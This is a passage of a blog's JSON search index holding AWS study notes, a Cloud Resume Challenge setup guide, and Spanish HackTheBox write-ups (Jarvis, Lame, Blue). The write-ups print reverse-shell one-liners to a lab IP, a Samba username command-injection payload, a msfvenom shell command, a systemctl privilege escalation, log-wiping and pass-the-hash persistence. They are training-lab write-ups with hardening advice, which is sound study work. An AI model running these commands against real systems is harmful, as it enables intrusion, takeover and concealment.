(PaaS)\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eRemove the company to manage underlying infrastructure\u003c/li\u003e\n\u003cli\u003eFocus on deployment and management of applications\u003c/li\u003e\n\u003cli\u003eYou will define the behavior and environment for your application (code)\u003c/li\u003e\n\u003cli\u003eEg: Heroku, ECS, Elastic Beanstalk\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"software-as-a-service-saas\"\u003e\u003cstrong\u003eSoftware as a Service (SaaS)\u003c/strong\u003e\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCompleted product that is run and managed by the service provider\u003c/li\u003e\n\u003cli\u003eoffer services meant to be accessed by end users\u003c/li\u003e\n\u003cli\u003eEg: Gmail, Outlook, Recognition for ML, Zoom\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cimg alt=\"Img1.jpg\" loading=\"lazy\" src=\"https://raw.githubusercontent.com/s4yhii/s4yhii.github.io/master/assets/images/AWS-CCP%20Notes%205f15007385e34322932d54765668e379/Img1.jpg\"\u003e\u003c/p\u003e","title":"AWS Certified Cloud Practicioner Notes"},{"content":"Cloud Resume Challenge Setup AWS Create your aws account\nSetup MFA for your roor account\nCreate an IAM user\nAssign permission (Principle of Least privilege)\nSetup Vault (https://github.com/99designs/aws-vault)\naws-vault add myuser ( ex: aws-vault add dev)\naws-vault exex myuser — aws s3 ls\nSetup S3 What is s3: file service useful for storing files usually for host a website\nWhat is AWS SAM: server less application model\nwe will create an AWS Lambda (we ignore this for now)\nSetups sam cli\nsam init\nsam build\nAdd IAM permissions all in full access(Cloud formation, IAM, Lambda, API Gateway)\nDeploy Sam\naws-vault exec myuser —no-session — sam deploy \u0026ndash;guided\nbefore deploy add this resource to your yaml template\nMyWebsite: Type: AWS::S3::Bucket Properties: BucketName: my-website if deploys fails, delete your stack and deploy again\naws cloudformation delete-stack --stack-name \u0026lt;\u0026lt;stack-name\u0026gt;\u0026gt;\nonly the first time with the para \u0026ndash; guided\nAdd S3\naws-vault exex myuser — aws s3 ls\nPush your website to S3 use this unified command\nsam build \u0026amp;\u0026amp; aws-vault exec my-user --no-session -- sam deploy to setup your s3 bucket as websitte edit your yaml file with this\nMyWebsite: Type: AWS::S3::Bucket Properties: AccessControl: PublicRead WebsiteConfiguration: IndexDocument: index.html BucketName: my-fantastic-website ONLY THE FIRST PART BucketPolicy: Type: AWS::S3::BucketPolicy Properties: PolicyDocument: Id: MyPolicy Version: 2012-10-17 Statement: - Sid: PublicReadForGetBucketObjects Effect: Allow Principal: \u0026#34;*\u0026#34; Action: \u0026#34;s3:GetObject\u0026#34; Resource: !Join - \u0026#34;\u0026#34; - - \u0026#34;arn:aws:s3:::\u0026#34; - !Ref MyWebsite - /* Bucket: !Ref MyWebsite THIS PART AFTER UPLOAD OUR HTML FILE TO OUR BUCKET Then update your makefile file\n.PHONY: build build: sam build deploy-infra: sam build \u0026amp;\u0026amp; aws-vault exec my-user --no-session -- sam deploy deploy-site: aws-vault exec my-user --no-session -- aws s3 sync ./resume-site s3://my-fantastic-website then upload your index.html\nmake deploy-site add some css for fancy view\n\u0026lt;head\u0026gt; \u0026lt;style\u0026gt; p { color: red; } \u0026lt;/style\u0026gt; \u0026lt;/head\u0026gt; ","permalink":"https://blog.s4yhii.com/posts/2022-01-10-aws-cloud-resume-challenge/","summary":"\u003ch1 id=\"cloud-resume-challenge\"\u003eCloud Resume Challenge\u003c/h1\u003e\n\u003ch2 id=\"setup-aws\"\u003eSetup AWS\u003c/h2\u003e\n\u003cp\u003eCreate your aws account\u003c/p\u003e\n\u003cp\u003eSetup MFA for your roor account\u003c/p\u003e\n\u003cp\u003eCreate an IAM user\u003c/p\u003e\n\u003cp\u003eAssign permission (Principle of Least privilege)\u003c/p\u003e\n\u003cp\u003eSetup Vault (\u003ca href=\"https://github.com/99designs/aws-vault\"\u003ehttps://github.com/99designs/aws-vault\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003eaws-vault add myuser ( ex: aws-vault add dev)\u003c/p\u003e\n\u003cp\u003eaws-vault exex myuser — aws s3 ls\u003c/p\u003e\n\u003ch2 id=\"setup-s3\"\u003eSetup S3\u003c/h2\u003e\n\u003cp\u003eWhat is s3: file service useful for storing files usually for host a website\u003c/p\u003e\n\u003cp\u003eWhat is AWS SAM: server less application model\u003c/p\u003e\n\u003cp\u003ewe will create an AWS Lambda (we ignore this for now)\u003c/p\u003e","title":"Cloud Resume Challenge"},{"content":"Machine IP: 10.10.10.143\nReconocimiento Primero hacemos un escaneo de puertos para saber cuales están abiertos y conocer sus servicios correspondientes\nNmap Como vemos tiene el puerto 80 abierto, que es el http, veremos en el navegador de que se trata y analizaremos la web.\nWappalyzer Usando la extensión wappalizer para identificar las tecnologías usadas en la web, encontramos que la web está usando phpmyadmin version 4.8\nAl hacer un poco de research encontramos la siguiente vulnerabilidad phpMyAdmin 4.8.1 - Remote Code Execution (RCE) , que se aprovecha del ejecutar comandos a traves de parametros sql.\nEste exploit nos pide parametros como contraseña y usuario, pero aun no los tenemos, así que debemos encontrar una forma de encontrar esos credenciales.\nHaciendo inspección a la pagina encontré una vulnerabilidad de sql injection en la siguiente url http://10.10.10.143/room.php?cod=6\nUsando la plataforma crackstation pude encontrar la contraseña\nMYSQL5 2d2b7a5e4e637b8fba1d17f40318f277d29964d0:imissyou\nCon esto ya podemos hacer uso del exploit que encontramos en exploitdb con el usuario DBadmin y la password imissyou\npython3 forest.py supersecurehotel.htb 80 /phpmyadmin DBadmin imissyou \u0026#34;bash -c \u0026#39;bash -i \u0026gt;\u0026amp; /dev/tcp/10.10.17.58/6968 0\u0026gt;\u0026amp;1\u0026#39; Antes de ejecutar el exploit establecmos un listener con netcat por el puerto 6968\nObtenemos una shell como www-data\nEscalamiento de privilegios Luego de obtener acceso a una Shell con el usuario www-data, buscamos que binarios puedes ser ejecutados como usuarios con privilegios.\nwww-data@jarvis:/var/www/html$ sudo -l Matching Defaults entries for www-data on jarvis: env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin User www-data may run the following commands on jarvis: (pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py Vemos que se puede ejecutar el script simpler.py como el usuario pepeer. Leyendo el script nos damos cuenta que ejecuta el comando ping usando la libreria os, esto se logra llamando a ping desde python, pero al hacer esto se pueden ejecutar otros comandos al final de este.\nComo vemos está validando que no se usen los caracteres especiales, pero para bypassear eso podemos crearnos un archivo y poner dentro nuestro comando para ejecutarnos una reverse shell, quedaría asi:\nwww-data@jarvis:/tmp$ www-data@jarvis:/tmp$ echo -e \u0026#39;#!/bin/bash\\n\\nnc -e /bin/bash 10.10.17.58 443\u0026#39; \u0026gt; /tmp/d.sh www-data@jarvis:/tmp$ chmod +x /tmp/d.sh www-data@jarvis:/tmp$ sudo -u pepper /var/www/Admin-Utilities/simpler.py -p *********************************************** _ _ ___(_)_ __ ___ _ __ | | ___ _ __ _ __ _ _ / __| | \u0026#39;_ ` _ \\| \u0026#39;_ \\| |/ _ \\ \u0026#39;__| \u0026#39;_ \\| | | | \\__ \\ | | | | | | |_) | | __/ |_ | |_) | |_| | |___/_|_| |_| |_| .__/|_|\\___|_(_)| .__/ \\__, | |_| |_| |___/ @ironhackers.es *********************************************** Enter an IP: $(/tmp/d.sh) Obtenemos una shell como el usuario pepper y obtenemos el user.txt\nPara escalar privilegios abusé del servicio systemctl que encontré buscando binarios con permisos suid.\nSystemctl es un servicio se define mediante un archivo. Se utiliza para vincularlo a este , y luego se utiliza de nuevo para iniciar el servicio. Lo que hace el servicio está definido por el archivo.. servicesystemctlsystemd.service\nPara explotar este servicio solo seguí los pasos que nos dá la gpina gtfo bins\nModificaré eso ligeramente para darme una reverse shell como usuario root.\ncat priv.sh #!/bin/bash nc -e 10.10.17.58 444 echo \u0026#39;[Service] Type=oneshot ExecStart=/home/pepper/priv.sh [Install] WantedBy=multi-user.target\u0026#39; \u0026gt; esc.service systemctl link /home/pepper/esc.service systemctl enable --now /home/pepper/esc.service root@kali# nc -lnvp 443 Ncat: Version 7.70 ( https://nmap.org/ncat ) Ncat: Listening on :::443 Ncat: Listening on 0.0.0.0:443 Ncat: Connection from 10.10.17.58. Ncat: Connection from 10.10.17.58:37160. id uid=0(root) gid=0(root) groups=0(root) Game over! Obtenemos acceso root y el root.txt.\n","permalink":"https://blog.s4yhii.com/posts/2021-11-15-jarvis-htb/","summary":"\u003cp\u003e\u003cstrong\u003eMachine IP\u003c/strong\u003e: 10.10.10.143\u003c/p\u003e\n\u003ch3 id=\"reconocimiento\"\u003eReconocimiento\u003c/h3\u003e\n\u003cp\u003ePrimero hacemos un escaneo de puertos para saber cuales están abiertos y conocer sus servicios correspondientes\u003c/p\u003e\n\u003ch3 id=\"nmap\"\u003eNmap\u003c/h3\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"https://raw.githubusercontent.com/s4yhii/s4yhii.github.io/master/assets/images/htb/jarvis/nmap.png\"\u003e\u003c/p\u003e\n\u003cp\u003eComo vemos tiene el puerto 80 abierto, que es el http,  veremos en el navegador de que se trata y analizaremos la web.\u003c/p\u003e\n\u003ch3 id=\"wappalyzer\"\u003eWappalyzer\u003c/h3\u003e\n\u003cp\u003eUsando la extensión wappalizer para identificar las tecnologías usadas en la web, encontramos que la web está usando phpmyadmin version 4.8\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"https://raw.githubusercontent.com/s4yhii/s4yhii.github.io/master/assets/images/htb/jarvis/wappa.png\"\u003e\u003c/p\u003e\n\u003cp\u003eAl hacer un poco de research encontramos la siguiente vulnerabilidad \u003ca href=\"https://www.exploit-db.com/exploits/50457\"\u003ephpMyAdmin 4.8.1 - Remote Code Execution (RCE)\u003c/a\u003e , que se aprovecha del ejecutar comandos a traves de parametros sql.\u003c/p\u003e","title":"HackTheBox Jarvis"},{"content":"Enumeración System IP: 10.10.10.3\nMatriz de la maquina Esta matriz nos muestra las características de explotación de la maquina.\nEnumeración de servicios\nServer IP Address Ports Open 10.10.10.3 TCP: 21,22,139,445,3632 Nmap Scan Resultados:\nUsando el siguiente comando para enumerar las versiones y servicios que corren en cada puerto luego de hacer un escaneo de puertos abiertos.\nnmap -A -n -Pn -p21,22,139,445,3632 10.10.10.3 Host discovery disabled (-Pn). All addresses will be marked \u0026#39;up\u0026#39; and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-28 21:12 EDT Nmap scan report for 10.10.10.3 Host is up (0.12s latency). PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 |_ftp-anon: Anonymous FTP login allowed (FTP code 230) | ftp-syst: | STAT: | FTP server status: | Connected to 10.10.14.2 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | vsFTPd 2.3.4 - secure, fast, stable |_End of status 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) | ssh-hostkey: | 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA) |_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA) 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP) 3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4)) Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Identificación de vulnerabilidades Como podemos observar, en el puerto 445 corre la version 3.0.20 de samba, entonces hacemos una búsqueda en searchsploit con el comando searchsploit samba 3.0.20.\nPara no usar metasploit analizamos el codigo del exploit con el comando searchsploit -x 16320 y encontramos el payload que se aplica en el input del username al momento de logearse.\nusername = \u0026#34;/=`nohup \u0026#34; + payload.encoded + \u0026#34;`\u0026#34; Código de la prueba de concepto: 16320.rb\nAcceso al sistema Para poder acceder al sistema ya sabemos que comando tenemos que ejecutar al momento de introducir el usuario en el servicio samba, pero primero debemos saber en que servicios compartidos podemos acceder, para eso ejecutamos el comando smbmap -H 10.10.10.3 y encontramos que el recurso tmp permite leer y escribir, entonces accedemos con el comando smbclient \\\\10.10.10.3\\tmp y escribimos el siguiente comando.\nEste es el resultado después de acceder al recurso compartido de tmp.\nlogon \u0026#34;/=`nohup nc -e /bin/bash 10.10.14.2 444`\u0026#34; Este payload establecerá una reverse shell en nuestra maquina victima a traves del puerto 443, entonces antes de ejecutar este comando nos ponemos en escucha por este puerto con el comando nc -nlvp 444.\nLuego hacemos el tratamiento de la tti para obtener una bash interactiva .\nFinalmente obtenemos acceso como root, y procedemos a buscar el user y root txt.\nPrueba de obtención del user.txt\nflag: 7ef6fe278f3e5dbf81838fda2aab55d4\nEscalamiento de privilegios Al haber obtenido acceso como usuario de máximos privilegios con el exploit ejecutado, esta fase se omitirá\nPrueba de obtención del root.txt\nflag: 4aae3f0d424655df2b0e7585d98844bb\nTécnicas Post-explotación Limpiando nuestros registros de actividades dentro de los logs\nUsando la herramienta automatizada Covermyass que se basa en un script de shell para cubrir pistas en sistemas UNIX.\nTécnicas de Hardening Siempre actualice y parchee su software En este método de explotación, aprovechamos las vulnerabilidades divulgadas públicamente que tienen actualizaciones de seguridad y parches disponibles.\nLos puertos de Samba no deben ser expuestos Utilice un firewall para denegar el acceso a estos servicios desde fuera de la red. Además, restrinja el acceso a su servidor solo a usuarios válidos y deshabilite el acceso WRITE si no es necesario.\nGracias por leer y happy hacking!\n","permalink":"https://blog.s4yhii.com/posts/2021-09-08-lame-htb/","summary":"\u003ch2 id=\"enumeración\"\u003eEnumeración\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eSystem IP: 10.10.10.3\u003c/strong\u003e\u003c/p\u003e\n\u003ch2 id=\"matriz-de-la-maquina\"\u003eMatriz de la maquina\u003c/h2\u003e\n\u003cp\u003eEsta matriz nos muestra las características de explotación de la maquina.\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Matriz de la maquina\" loading=\"lazy\" src=\"https://raw.githubusercontent.com/s4yhii/s4yhii.github.io/master/assets/images/htb/lame/matrix.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eEnumeración de servicios\u003c/strong\u003e\u003c/p\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003eServer IP Address\u003c/th\u003e\n          \u003cth\u003ePorts Open\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e10.10.10.3\u003c/td\u003e\n          \u003ctd\u003e\u003cstrong\u003eTCP\u003c/strong\u003e: 21,22,139,445,3632\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003e\u003cstrong\u003eNmap Scan Resultados:\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eUsando el siguiente comando para enumerar las versiones y servicios que corren en cada puerto luego de hacer un escaneo de puertos abiertos.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003enmap -A -n -Pn -p21,22,139,445,3632 10.10.10.3\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eHost discovery disabled \u003cspan class=\"o\"\u003e(\u003c/span\u003e-Pn\u003cspan class=\"o\"\u003e)\u003c/span\u003e. All addresses will be marked \u003cspan class=\"s1\"\u003e\u0026#39;up\u0026#39;\u003c/span\u003e and scan \u003cspan class=\"nb\"\u003etimes\u003c/span\u003e will be slower.\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eStarting Nmap 7.91 \u003cspan class=\"o\"\u003e(\u003c/span\u003e https://nmap.org \u003cspan class=\"o\"\u003e)\u003c/span\u003e at 2021-08-28 21:12 EDT\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eNmap scan report \u003cspan class=\"k\"\u003efor\u003c/span\u003e 10.10.10.3\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eHost is up \u003cspan class=\"o\"\u003e(\u003c/span\u003e0.12s latency\u003cspan class=\"o\"\u003e)\u003c/span\u003e.\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003ePORT     STATE SERVICE     VERSION\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e21/tcp   open  ftp         vsftpd 2.3.4\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e|\u003c/span\u003e_ftp-anon: Anonymous FTP login allowed \u003cspan class=\"o\"\u003e(\u003c/span\u003eFTP code 230\u003cspan class=\"o\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e|\u003c/span\u003e ftp-syst: \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e|\u003c/span\u003e   STAT: \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e|\u003c/span\u003e FTP server status:\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e|\u003c/span\u003e      Connected to 10.10.14.2\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e|\u003c/span\u003e      Logged in as ftp\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e|\u003c/span\u003e      TYPE: ASCII\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e|\u003c/span\u003e      No session bandwidth limit\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e|\u003c/span\u003e      Session timeout in seconds is \u003cspan class=\"m\"\u003e300\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e|\u003c/span\u003e      Control connection is plain text\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e|\u003c/span\u003e      Data connections will be plain text\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e|\u003c/span\u003e      vsFTPd 2.3.4 - secure, fast, stable\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e|\u003c/span\u003e_End of status\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 \u003cspan class=\"o\"\u003e(\u003c/span\u003eprotocol 2.0\u003cspan class=\"o\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e|\u003c/span\u003e ssh-hostkey: \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e|\u003c/span\u003e   \u003cspan class=\"m\"\u003e1024\u003c/span\u003e 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd \u003cspan class=\"o\"\u003e(\u003c/span\u003eDSA\u003cspan class=\"o\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e|\u003c/span\u003e_  \u003cspan class=\"m\"\u003e2048\u003c/span\u003e 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 \u003cspan class=\"o\"\u003e(\u003c/span\u003eRSA\u003cspan class=\"o\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X \u003cspan class=\"o\"\u003e(\u003c/span\u003eworkgroup: WORKGROUP\u003cspan class=\"o\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e445/tcp  open  netbios-ssn Samba smbd 3.0.20-Debian \u003cspan class=\"o\"\u003e(\u003c/span\u003eworkgroup: WORKGROUP\u003cspan class=\"o\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e3632/tcp open  distccd     distccd v1 \u003cspan class=\"o\"\u003e((\u003c/span\u003eGNU\u003cspan class=\"o\"\u003e)\u003c/span\u003e 4.2.4 \u003cspan class=\"o\"\u003e(\u003c/span\u003eUbuntu 4.2.4-1ubuntu4\u003cspan class=\"o\"\u003e))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eService Info: OSs: Unix, Linux\u003cspan class=\"p\"\u003e;\u003c/span\u003e CPE: cpe:/o:linux:linux_kernel\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"identificación-de-vulnerabilidades\"\u003eIdentificación de vulnerabilidades\u003c/h2\u003e\n\u003cp\u003eComo podemos observar, en el puerto 445 corre la version 3.0.20 de samba, entonces hacemos una búsqueda en searchsploit con el comando searchsploit samba 3.0.20.\u003c/p\u003e","title":"HackTheBox Lame"},{"content":"Enumeración System IP: 10.10.10.40\nMatriz de la maquina Esta matriz nos muestra las características de explotación de la maquina.\nEnumeración de servicios\nThe service enumeration portion of a penetration test focuses on gathering information about what services are alive on a system or systems. This is valuable for an attacker as it provides detailed information on potential attack vectors into a system. Understanding what applications are running on the system gives an attacker needed information before performing the actual penetration test. In some cases, some ports may not be listed.\nServer IP Address Ports Open 10.10.10.40 TCP: 135,139,445,49154 Nmap Scan Resultados:\nUsando el siguiente comando para enumerar las versiones y servicios que corren en cada puerto luego de hacer un escaneo de puertos abiertos.\nnmap -sC -sV -p135,139,445,49154 10.10.10.40 -Pn Nos arroja este resultado:\nnmap -sC -sV -p135,139,445,49154 10.10.10.40 -Pn Host discovery disabled (-Pn). All addresses will be marked \u0026#39;up\u0026#39; and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-01 15:02 EDT Nmap scan report for 10.10.10.40 Host is up (0.17s latency). PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP) 49154/tcp open msrpc Microsoft Windows RPC Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: mean: -19m38s, deviation: 34m35s, median: 19s | smb-os-discovery: | OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1) | OS CPE: cpe:/o:microsoft:windows_7::sp1:professional | Computer name: haris-PC | NetBIOS computer name: HARIS-PC\\x00 | Workgroup: WORKGROUP\\x00 |_ System time: 2021-08-01T20:03:27+01:00 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2021-08-01T19:03:24 |_ start_date: 2021-08-01T16:10:04 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 74.87 seconds Enumerando vulnerabilidades con nmap\nUsando el siguiente comando para enumerar las vulnerabilidades más comunes que presentan cada servicio, si es que existen.\nnmap --script vuln 10.10.10.40 Nos arroja este resultado:\nStarting Nmap 7.91 ( https://nmap.org ) at 2021-08-01 16:24 EDT Nmap scan report for 10.10.10.40 Host is up (0.29s latency). Not shown: 991 closed ports PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 49152/tcp open unknown 49153/tcp open unknown 49154/tcp open unknown 49155/tcp open unknown 49156/tcp open unknown 49157/tcp open unknown Host script results: |_smb-vuln-ms10-054: false |_smb-vuln-ms10-061: NT_STATUS_OBJECT_NAME_NOT_FOUND | smb-vuln-ms17-010: | VULNERABLE: | Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010) | State: VULNERABLE | IDs: CVE:CVE-2017-0143 | Risk factor: HIGH | A critical remote code execution vulnerability exists in Microsoft SMBv1 | servers (ms17-010). | | Disclosure date: 2017-03-14 | References: | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143 | https://technet.microsoft.com/en-us/library/security/ms17-010.aspx |_ https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/ Nmap done: 1 IP address (1 host up) scanned in 147.18 seconds Identificación de vulnerabilidades Explicación de vulnerabilidad:\nSegun los resultados de nmap podemos observar que es vulnerable a ejecución remota de codigo, revisando el cve en google encontramos el exploit para esta vulnerabilidad.\nSeveridad:\nCodigo de la prueba de concepto:\nA continuación se presente el codigo de la prueba de concepto:\nAcceso al sistema Para poder acceder al sistema elaboramos un payload que se ejecutará en la maquina victima, lo elaboramos con el siguiente comando con msfvenom y lo guardamos con el nombre shell.exe.\nmsfvenom -p windows/reverse_shell_tcp lhost=tun0 lport=443 -f exe \u0026gt; shell.exe Modificando el exploit para crear un usuario guest.\nEstableciendo los comandos a ejecutar, en este caso enviamos el archivo compilado en formato .exe y ejecutamos el payload generado en la maquina victima.\nLuego de haber ejecutaco el exploit obtenemos una shell con maximos privilegios (nt/ authority system), entonces podemos observar el user.txt y root.txt.\nPrueba de obtención del user.txt\nflag: 4c546aea7dbee75cbd71de245c8deea9\nEscalamiento de privilegios Al haber obtenido acceso como usuario de maximos privilegios con el exploit ejecutado, esta fase se omitirá\nPrueba de obtención del root.txt\nflag: ff548eb71e920ff6c08843ce9df4e717\nTecnicas Post-explotación Agregando usuarios con permisos de administrador\nPodemos crear usuarios con permisos de administrador con el siguiente comando: net user usuario 12345 /add y asignarlos a un grupo el cual sería administrador con el siguiente comando:\nnet localgroup administrator usuario /add Dumpeando los hashes de los usuarios para acceder al sistema posteriormente con la tecnica de passthehash.\nUna vez con el acceso de administrador podemos modificar el UAC para obtener los hashes ntlm de los administradores con crackmapexec y así poder logearnos como administradores solo con el ntlm hash. Tecnicas de Hardening Mantener siempre el software y las ventanas actualizadas con la última versión, las correcciones y los parches para reducir el riesgo de ser comprometido por tales vulnerabilidades.\nDeshabilitar el servicio SMBV1 del puerto 445 de la maquina o establecer reglas de firewalls para ocultarlo.\nGracias por leer, Happy hacking and always try harder!\n","permalink":"https://blog.s4yhii.com/posts/2021-08-28-blue-htb/","summary":"\u003ch2 id=\"enumeración\"\u003eEnumeración\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eSystem IP: 10.10.10.40\u003c/strong\u003e\u003c/p\u003e\n\u003ch3 id=\"matriz-de-la-maquina\"\u003eMatriz de la maquina\u003c/h3\u003e\n\u003cp\u003eEsta matriz nos muestra las características de explotación de la maquina.\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Matriz de la maquina\" loading=\"lazy\" src=\"https://raw.githubusercontent.com/s4yhii/s4yhii.github.io/master/assets/images/htb/blue/matrix.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eEnumeración de servicios\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eThe service enumeration portion of a penetration test focuses on gathering information about what services are alive on a system or systems.\nThis is valuable for an attacker as it provides detailed information on potential attack vectors into a system.\nUnderstanding what applications are running on the system gives an attacker needed information before performing the actual penetration test.\nIn some cases, some ports may not be listed.\u003c/p\u003e","title":"HackTheBox Blue"},{"content":"Machine IP: 10.10.10.242\nDATE : 28/08/2021\nMatriz de la maquina Esta matriz nos muestra las características de explotación de la maquina.\nReconocimiento Primero hacemos un escaneo de puertos para saber cuales están abiertos y conocer sus servicios correspondientes\nNmap ┌──(j3sm0n㉿kali)-[~] └─$ nmap -sC -sV 10.10.10.242 148 ⨯ 1 ⚙ Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-07 02:03 EDT Nmap scan report for 10.10.10.242 Host is up (0.11s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 